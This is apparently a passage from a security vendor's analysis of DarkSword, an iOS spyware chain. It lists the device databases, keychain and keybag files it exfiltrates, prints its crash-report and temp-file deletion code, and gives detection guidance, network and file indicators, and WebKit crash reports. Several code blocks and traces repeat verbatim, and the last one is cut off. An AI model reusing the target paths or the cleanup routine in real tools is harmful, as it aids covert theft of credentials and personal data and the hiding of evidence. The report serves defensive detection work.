   { path: "/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata", category: "communications", description: "Call history" },
   { path: "/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb", category: "communications", description: "Contacts database" },
 ]
const FORENSIC_FILES = [
   // Communications
   { path: "/private/var/mobile/Library/SMS/sms.db", category: "communications", description: "SMS/iMessage database" },
   { path: "/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata", category: "communications", description: "Call history" },
   { path: "/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb", category: "communications", description: "Contacts database" },
 ]


Asset

Asset location

SMS/iMessage database


/private/var/mobile/Library/SMS/sms.db

Telegram data

Search and exfiltrate telegram data from: /private/var/mobile/Containers/Shared/AppGroup 

Whatsapp data

Search and exfiltrate whatsapp data from: /private/var/mobile/Containers/Shared/AppGroup 

Exfiltrated:

"AvatarSearchTags.sqlite", "Axolotl.sqlite", "BackedUpKeyValue.sqlite", "CallHistory.sqlite", "ChatStorage.sqlite", "Contacts.sqlite", "ContactsV2.sqlite", "DeviceAgents.sqlite", "emoji.sqlite", "Labels.sqlite", "LID.sqlite", "LocalKeyValue.sqlite", "Location.sqlite", "MediaDomain.sqlite", "Sticker.sqlite", "Stickers.sqlite"

Call history

/private/var/mobile/Library/CallHistoryDB/CallHistory.storedata

Contacts database

/private/var/mobile/Library/AddressBook/AddressBook.sqlitedb

WiFi networks config

/private/var/preferences/SystemConfiguration/com.apple.wifi.plist

WiFi networks backup

/private/var/preferences/SystemConfiguration/com.apple.wifi-networks.plist.backup

WiFi private MAC networks

/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist

Known WiFi networks

/private/var/preferences/com.apple.wifi.known-networks.plist

Safari history

/private/var/mobile/Library/Safari/History.db

Safari bookmarks

/private/var/mobile/Library/Safari/Bookmarks.db

Safari browser state

/private/var/mobile/Library/Safari/BrowserState.db

Safari cookies

/private/var/mobile/Library/Cookies/Cookies.binarycookies

Location history

/private/var/mobile/Library/Caches/locationd/consolidated.db

Location clients

/private/var/mobile/Library/Caches/locationd/clients.plist

Root location history

/private/var/root/Library/Caches/locationd/consolidated.db

Notes database

/private/var/mobile/Library/Notes/notes.sqlite

Calendar database

/private/var/mobile/Library/Calendar/Calendar.sqlitedb

Photos metadata

/private/var/mobile/Media/PhotoData/Photos.sqlite

Health database

/private/var/mobile/Library/Health/healthdb.sqlite

Secure health database

/private/var/mobile/Library/Health/healthdb_secure.sqlite

Device identifiers

/private/var/root/Library/Lockdown/data_ark.plist

Identity services cache

/private/var/mobile/Library/Preferences/com.apple.identityservices.idstatuscache.plist

Configuration profiles

/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/ConfigurationProfiles/ProfileMeta.plist

System preferences

/private/var/preferences/SystemConfiguration/preferences.plist

SIM card information

/private/var/wireless/Library/Preferences/com.apple.commcenter.plist

Cellular data info

/private/var/wireless/Library/Preferences/com.apple.commcenter.data.plist

Cellular usage database

/private/var/wireless/Library/Databases/CellularUsage.db

Control Center config

/private/var/wireless/Library/ControlCenter/ModuleConfiguration.plist

App Store preferences

/private/var/mobile/Library/Preferences/com.apple.AppStore.plist

Location services settings

/private/var/mobile/Library/Preferences/com.apple.locationd.plist

Find My iPhone settings

/private/var/mobile/Library/Preferences/com.apple.icloud.findmydeviced.FMIPAccounts.plist

Backup information

/private/var/mobile/Library/Preferences/com.apple.MobileBackup.plist

Backup settings

/private/var/mobile/Library/Preferences/com.apple.mobile.ldbackup.plist

Contacts interaction history

/private/var/mobile/Library/CoreDuet/People/interactionC.db


Personalization data

/private/var/mobile/Library/PersonalizationPortrait/PPSQLDatabase.db

User accounts

/private/var/mobile/Library/Accounts/Accounts3.sqlite

Mail envelope index

/private/var/mobile/Library/Mail/Envelope Index

Mail protected index

/private/var/mobile/Library/Mail/Protected Index

Installed applications database

/private/var/mobile/Library/FrontBoard/applicationState.db

Keychain database

/private/var/Keychains/keychain-2.db

Persona keybag

/var/keybags/persona.kb

User session keybag

/var/keybags/usersession.kb

Backup keys cache

/var/keybags/backup/backup_keys_cache.sqlite

Persona keybag (private)

/private/var/keybags/persona.kb

User session keybag (private)

/private/var/keybags/usersession.kb

System keybag

/private/var/Keychains/System.keybag

Backup keybag

/private/var/Keychains/Backup.keybag

Persona keybag (Keychains)

/private/var/Keychains/persona.kb

User session keybag (Keychains)

/private/var/Keychains/usersession.kb

Device keybag

/private/var/Keychains/device.kb

Cleanup

The Implant recursively deletes all crashes from directory

/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/

as well as the directory itself:

static deleteCrashReports() {		this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
		libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}
static deleteCrashReports() {		this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
		libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}
static deleteCrashReports() {		this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
		libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true);
}

It misses to delete Crashes from the “main” Crashlogs directory at

/private/var/mobile/Library/Logs/CrashReporter

It also attempts to clean up temporary files created during exfiltration:

    // Clean up temporary files created during extraction
    const tempFilesToDelete = [
        "/tmp/keychain-2.db",
        "/tmp/persona.kb",
        "/tmp/usersession.kb",
        "/tmp/backup_keys_cache.sqlite",
        "/tmp/persona_private.kb",
        "/tmp/usersession_private.kb",
        "/tmp/System.keybag",
        "/tmp/Backup.keybag",
        "/tmp/persona_keychains.kb",
        "/tmp/usersession_keychains.kb",
        "/tmp/device.kb",
        "/private/var/tmp/keychain-2.db",
        "/private/var/tmp/persona.kb",
        "/private/var/tmp/usersession.kb",
        "/var/wireless/wifi_passwords.txt",
        "/tmp/wifi_passwords.txt",
        "/private/var/tmp/wifi_passwords.txt",
        "/tmp/wifi_passwords_securityd.txt",
        "/private/var/tmp/wifi_passwords_securityd.txt",
        "/private/var/tmp/keychain_dump.txt",
        "/tmp/keychain_dump.txt"
    ];
    
    let deletedCount = 0;
    for (const tempFile of tempFilesToDelete) {
        const unlinkResult = Native.callSymbol("unlink", tempFile);
        if (Number(unlinkResult) === 0) {
            deletedCount++;
        }
    }
    // Clean up temporary files created during extraction
    const tempFilesToDelete = [
        "/tmp/keychain-2.db",
        "/tmp/persona.kb",
        "/tmp/usersession.kb",
        "/tmp/backup_keys_cache.sqlite",
        "/tmp/persona_private.kb",
        "/tmp/usersession_private.kb",
        "/tmp/System.keybag",
        "/tmp/Backup.keybag",
        "/tmp/persona_keychains.kb",
        "/tmp/usersession_keychains.kb",
        "/tmp/device.kb",
        "/private/var/tmp/keychain-2.db",
        "/private/var/tmp/persona.kb",
        "/private/var/tmp/usersession.kb",
        "/var/wireless/wifi_passwords.txt",
        "/tmp/wifi_passwords.txt",
        "/private/var/tmp/wifi_passwords.txt",
        "/tmp/wifi_passwords_securityd.txt",
        "/private/var/tmp/wifi_passwords_securityd.txt",
        "/private/var/tmp/keychain_dump.txt",
        "/tmp/keychain_dump.txt"
    ];
    
    let deletedCount = 0;
    for (const tempFile of tempFilesToDelete) {
        const unlinkResult = Native.callSymbol("unlink", tempFile);
        if (Number(unlinkResult) === 0) {
            deletedCount++;
        }
    }
    // Clean up temporary files created during extraction
    const tempFilesToDelete = [
        "/tmp/keychain-2.db",
        "/tmp/persona.kb",
        "/tmp/usersession.kb",
        "/tmp/backup_keys_cache.sqlite",
        "/tmp/persona_private.kb",
        "/tmp/usersession_private.kb",
        "/tmp/System.keybag",
        "/tmp/Backup.keybag",
        "/tmp/persona_keychains.kb",
        "/tmp/usersession_keychains.kb",
        "/tmp/device.kb",
        "/private/var/tmp/keychain-2.db",
        "/private/var/tmp/persona.kb",
        "/private/var/tmp/usersession.kb",
        "/var/wireless/wifi_passwords.txt",
        "/tmp/wifi_passwords.txt",
        "/private/var/tmp/wifi_passwords.txt",
        "/tmp/wifi_passwords_securityd.txt",
        "/private/var/tmp/wifi_passwords_securityd.txt",
        "/private/var/tmp/keychain_dump.txt",
        "/tmp/keychain_dump.txt"
    ];
    
    let deletedCount = 0;
    for (const tempFile of tempFilesToDelete) {
        const unlinkResult = Native.callSymbol("unlink", tempFile);
        if (Number(unlinkResult) === 0) {
            deletedCount++;
        }
    }

Detecting DarkSword

Detecting DarkSword is different from many other spyware samples we have seen in the past. Similar to Coruna it does not launch its own implant process but leverages existing system processes to steal and exfiltrate data. This approach in itself provides more stealth than its own dedicated implant, but might also be required depending on the vulnerabilities available to the attacker. All iVerify apps are able to detect live infections of DarkSword. We’re offering iVerify Basic for free until May so anyone can check their phones. For recent infections you can use the threat hunting feature in the app.

As the malware is not cleaning up Safari’s browser history or other WebKit related databases you can use MVT or other forensic tools to find the domains used in the initial compromise. The file based indicators are not backed up, so you can only check these on device or with a full filesystem dump.

We are attaching a stix2 file which you can use with MVT to find the domains we have observed in the exploitation. We have provided indicators for suspicious crashes or unified log messages below as well. 

Final Words

For the second time in a month, threat actors have employed waterhole attacks to target iPhone users. Notably, neither of these attacks were individually targeted. The combined attacks now likely affect hundreds of millions of unpatched devices running iOS versions from 13 to 18.6.2. In both instances, the tools were discovered due to significant operational security (op-sec) failures and carelessness in the deployment of the iOS offensive capabilities. These recent events prompt several key questions: How big and well equipped is the market for iOS 0-day and n-day exploits for iOS devices? How accessible are such powerful capabilities to financially motivated actors? 

The availability of these exploits to other threat groups and criminals, who were also able to acquire them, raises concerns that they may be reused or serve as a blueprint for developing more sophisticated or new attacks of this nature. Given the widespread impact and the ease with which these exploits can be deployed and repurposed, we are currently withholding further details on the vulnerabilities and proofs-of-concept. However, we do intend to release additional research covering these vulnerabilities and exploit techniques in the future.

We strongly recommend updating to iOS 18.7.6 or iOS 26.3.1. This will mitigate all vulnerabilities that have been exploited in these attack chains. Furthermore, these exploits would not be effective without additional bypasses on devices where Lockdown Mode is active or on the iPhone 17 with Memory Integrity Enforcement (MIE) enabled.

Acknowledgement

We would like to acknowledge and thank Lookout and Google Threat Intelligence Group (GTIG) for their partnership throughout this investigation.


IOCs

Filesystem artifacts

Path 

Description

/private/var/Keychains/keychain_dump.txt

Keychain dump

/private/var/keybags/keychain_dump.txt 

Keychain dump

/private/var/tmp/keychain_dump.txt  

Keychain dump

/private/var/run/keychain_dump.txt

Keychain dump

/private/var/db/keychain_dump.txt

Keychain dump

/private/var/root/keychain_dump.txt

Keychain dump

/private/var/log/keychain_dump.txt

Keychain dump

/private/var/tmp/keychain-2.db

Keychain database (copied)

/private/var/tmp/persona.kb

Persona keybag

/private/var/tmp/usersession.kb

User session keybag

/private/var/tmp/backup_keys_cache.sqlite

Backup keys cache

/private/var/tmp/persona_private.kb

Persona keybag (private)

/private/var/tmp/usersession_private.kb

User session keybag (private)

/private/var/tmp/System.keybag

System keybag

/private/var/tmp/Backup.keybag

Backup keybag

/private/var/tmp/persona_keychains.kb

Persona keybag (Keychains)

/private/var/tmp/usersession_keychains.kb

User session keybag (Keychains)

/private/var/tmp/device.kb

Device keybag

/private/var/tmp/wifi_passwords.txt


WiFi passwords dump from wifid


/private/var/tmp/wifi_passwords_securityd.txt


WiFi passwords dump from securityd

/private/var/tmp/icloud_dump/

iCloud dump from configd

/private/var/wireless/wifi_passwords.txt

WiFi passwords dump

Unified Logs Messages

Log Type

Process

Message

Confidence

Log Message 

symptomsd

Data Usage for mediaplaybackd on flow 7753 - WiFi in/out: 40878/4980, WiFi delta_in/delta_out: 4039/336, Cell in/out: 0/0, Cell delta_in/delta_out: 0/0, RNF: 0, subscriber tag: 0, total duration: 4.611

Low

Log Message 

mediaplaybackd

[+] Running on non-A18 Devices
[+] read_fd: 0x000000000000000a
[+] write_fd: 0x000000000000000c
[+] free_thread_arg: 0x0000000cf1568000
[+] physical_mapping_address: 0x0000000107454000
[+] pc_object: 0x000000000000e727
[+] pc_address: 0x000000037cae8000
[+] Hello from: 0x00000000000056c7
[+] target corrupted: 0xffffffe1b4d98548

High

Format String

Safari

%p - GPUProcessProxy::childConnectionDidBecomeUnresponsive:

Low (repeated multiple times in short period of time)

Log Message 

mediaplaybackd

[CHAIN] ..
[MAIN] ..
[DRIVER-NEWTHREAD] …
[MIG_FILTER_BYPASS] …
[OFFSETS] …
[TASKROP] …
[TASK] …
[DarkSword-WIFI-DUMP] ..

[DarkSword-WIFI-DUMP-SECURITYD] ...

High

Crashes

During exploitation we observed multiple crashes across several system components. When a stage of the exploit failed, the code deliberately crashed WebKit-related processes and restarted the infection attempt, which appeared to be the attackers’ primary recovery mechanism. We observed such crashes in both com.apple.WebKit.WebContent and com.apple.WebKit.GPU.

In later stages of the attack chain, we also observed kernel panics, most commonly triggered by watchdog timers or launchd unexpectedly exiting. In addition, crash reports and diagnostic files were generated by multiple processes during exploitation. A summary of the affected services is provided in the table below.

While an individual crash would not typically represent a strong signal of compromise, multiple crashes occurring within a short period of time—particularly across several services—would significantly increase the likelihood of malicious activity.

Bug Type

Process

Crash Details

Confidence

409

SpringBoard

WATCHDOG

low

409

wifid

WATCHDOG

low

409

runningboardd

WATCHDOG

low

409

configd

WATCHDOG

low

409

audiomixd

WATCHDOG

low

409

CommCenter

WATCHDOG

low

409

InCallService

WATCHDOG

low

409

thermalmonitord

WATCHDOG

low

309

securityd

EXC_ARM_DA_ALIGN at 0x0000000000000201

medium

309

UserEventAgent

EXC_ARM_DA_ALIGN at 0x0000000000000201

medium

309

wifid

EXC_ARM_DA_ALIGN at 0x0000000000000201

medium

202

mediaplaybackd

CPU_RESOURCE

low

309

WebContent

Various

low

309

GPU

Various

low

Network IOCs

Domain

Compentent

Confidence

7aac[.]gov[.]ua

Waterhole

low

novosti[.]dn[.]ua

Waterhole

low

static[.]cdncounter[.]net

Infiltration Server

high

sqwas[.]shapelie[.]com

Exfiltration Server

high

Appendix - repeated com.apple.WebKit.GPU process crash triggered by exploit upon failure. Exploit code is forcing closure to CoreIPC connection with GPU process so it can try again with fresh state:

-------------------------------------
Translated Report (Full Report Below)
-------------------------------------
Process:             com.apple.WebKit.GPU [949]
Path:                /private/preboot/Cryptexes/OS/System/Library/ExtensionKit/Extensions/GPUExtension.appex/com.apple.WebKit.GPU
Identifier:          com.apple.WebKit.GPU
Version:             8621.3.11.10.3
Code Type:           ARM-64 (Native)
Role:                Foreground
Parent Process:      launchd [1]
Coalition:           com.apple.mobilesafari [563]
User ID:             501
Exception Type:    EXC_GUARD (SIGKILL)
Exception Subtype: GUARD_TYPE_VIRT_MEMORY
Exception Message: offset=0x0000000fc0000000, flavor=0x00000001 (DEALLOC_GAP)
Exception Codes:   0x0000000000000000, 0x0000000fc0000000
Termination Reason:  Namespace GUARD, Code 11529215050363437056, 
Thread 0 name:   Dispatch queue: com.apple.main-thread
Thread 0:
0   libsystem_kernel.dylib        	       0x1d7e0ff70 __ulock_wait + 8
1   libsystem_pthread.dylib       	       0x21145c0f8 _pthread_join + 608
2   JavaScriptCore                	       0x19e8ed9f0 WTF::Thread::waitForCompletion() + 76
3   WebKit                        	       0x19d1bf264 IPC::StreamConnectionWorkQueue::stopAndWaitForCompletion(WTF::Function<void ()>&&) + 136
4   WebKit                        	       0x19d1ae814 WebKit::RemoteRenderingBackend::stopListeningForIPC() + 104
5   WebKit                        	       0x19d1bec44 decltype(fp->stopListeningForIPC(), (void)()) IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>::stopListeningForIPCAndRelease<WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>(WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>&) + 28
6   WebKit                        	       0x19d0dca0c IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>::~ScopedActiveMessageReceiveQueue() + 52
7   WebKit                        	       0x19d0dc9ac WTF::HashTable<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>>, WTF::DefaultHash<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashMap<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>, WTF::DefaultHash<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashTraits<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashTraits<IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>, WTF::HashTableTraits, (WTF::ShouldValidateKey)1>::KeyValuePairTraits, WTF::HashTraits<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, (WTF::ShouldValidateKey)1>::deallocateTable(WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>

-------------------------------------
Translated Report (Full Report Below)
-------------------------------------
Process:             com.apple.WebKit.GPU [949]
Path:                /private/preboot/Cryptexes/OS/System/Library/ExtensionKit/Extensions/GPUExtension.appex/com.apple.WebKit.GPU
Identifier:          com.apple.WebKit.GPU
Version:             8621.3.11.10.3
Code Type:           ARM-64 (Native)
Role:                Foreground
Parent Process:      launchd [1]
Coalition:           com.apple.mobilesafari [563]
User ID:             501
Exception Type:    EXC_GUARD (SIGKILL)
Exception Subtype: GUARD_TYPE_VIRT_MEMORY
Exception Message: offset=0x0000000fc0000000, flavor=0x00000001 (DEALLOC_GAP)
Exception Codes:   0x0000000000000000, 0x0000000fc0000000
Termination Reason:  Namespace GUARD, Code 11529215050363437056, 
Thread 0 name:   Dispatch queue: com.apple.main-thread
Thread 0:
0   libsystem_kernel.dylib        	       0x1d7e0ff70 __ulock_wait + 8
1   libsystem_pthread.dylib       	       0x21145c0f8 _pthread_join + 608
2   JavaScriptCore                	       0x19e8ed9f0 WTF::Thread::waitForCompletion() + 76
3   WebKit                        	       0x19d1bf264 IPC::StreamConnectionWorkQueue::stopAndWaitForCompletion(WTF::Function<void ()>&&) + 136
4   WebKit                        	       0x19d1ae814 WebKit::RemoteRenderingBackend::stopListeningForIPC() + 104
5   WebKit                        	       0x19d1bec44 decltype(fp->stopListeningForIPC(), (void)()) IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>::stopListeningForIPCAndRelease<WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>(WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>&) + 28
6   WebKit                        	       0x19d0dca0c IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>::~ScopedActiveMessageReceiveQueue() + 52
7   WebKit                        	       0x19d0dc9ac WTF::HashTable<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>>, WTF::DefaultHash<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashMap<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>, WTF::DefaultHash<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashTraits<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashTraits<IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>, WTF::HashTableTraits, (WTF::ShouldValidateKey)1>::KeyValuePairTraits, WTF::HashTraits<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, (WTF::ShouldValidateKey)1>::deallocateTable(WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>

-------------------------------------
Translated Report (Full Report Below)
-------------------------------------
Process:             com.apple.WebKit.GPU [949]
Path:                /private/preboot/Cryptexes/OS/System/Library/ExtensionKit/Extensions/GPUExtension.appex/com.apple.WebKit.GPU
Identifier:          com.apple.WebKit.GPU
Version:             8621.3.11.10.3
Code Type:           ARM-64 (Native)
Role:                Foreground
Parent Process:      launchd [1]
Coalition:           com.apple.mobilesafari [563]
User ID:             501
Exception Type:    EXC_GUARD (SIGKILL)
Exception Subtype: GUARD_TYPE_VIRT_MEMORY
Exception Message: offset=0x0000000fc0000000, flavor=0x00000001 (DEALLOC_GAP)
Exception Codes:   0x0000000000000000, 0x0000000fc0000000
Termination Reason:  Namespace GUARD, Code 11529215050363437056, 
Thread 0 name:   Dispatch queue: com.apple.main-thread
Thread 0:
0   libsystem_kernel.dylib        	       0x1d7e0ff70 __ulock_wait + 8
1   libsystem_pthread.dylib       	       0x21145c0f8 _pthread_join + 608
2   JavaScriptCore                	       0x19e8ed9f0 WTF::Thread::waitForCompletion() + 76
3   WebKit                        	       0x19d1bf264 IPC::StreamConnectionWorkQueue::stopAndWaitForCompletion(WTF::Function<void ()>&&) + 136
4   WebKit                        	       0x19d1ae814 WebKit::RemoteRenderingBackend::stopListeningForIPC() + 104
5   WebKit                        	       0x19d1bec44 decltype(fp->stopListeningForIPC(), (void)()) IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>::stopListeningForIPCAndRelease<WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>(WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>&) + 28
6   WebKit                        	       0x19d0dca0c IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>::~ScopedActiveMessageReceiveQueue() + 52
7   WebKit                        	       0x19d0dc9ac WTF::HashTable<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, WTF::DefaultRefDerefTraits<WebKit::RemoteRenderingBackend>>>>>, WTF::DefaultHash<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>>, WTF::HashMap<WTF::ObjectIdentifierGeneric<WebKit::RenderingBackendIdentifierType, WTF::ObjectIdentifierThreadSafeAccessTraits<unsigned long long>, unsigned long long>, IPC::ScopedActiveMessageReceiveQueue<WebKit::RemoteRenderingBackend, WTF::RefPtr<WebKit::RemoteRenderingBackend, WTF::RawPtrTraits<WebKit::RemoteRenderingBackend>, 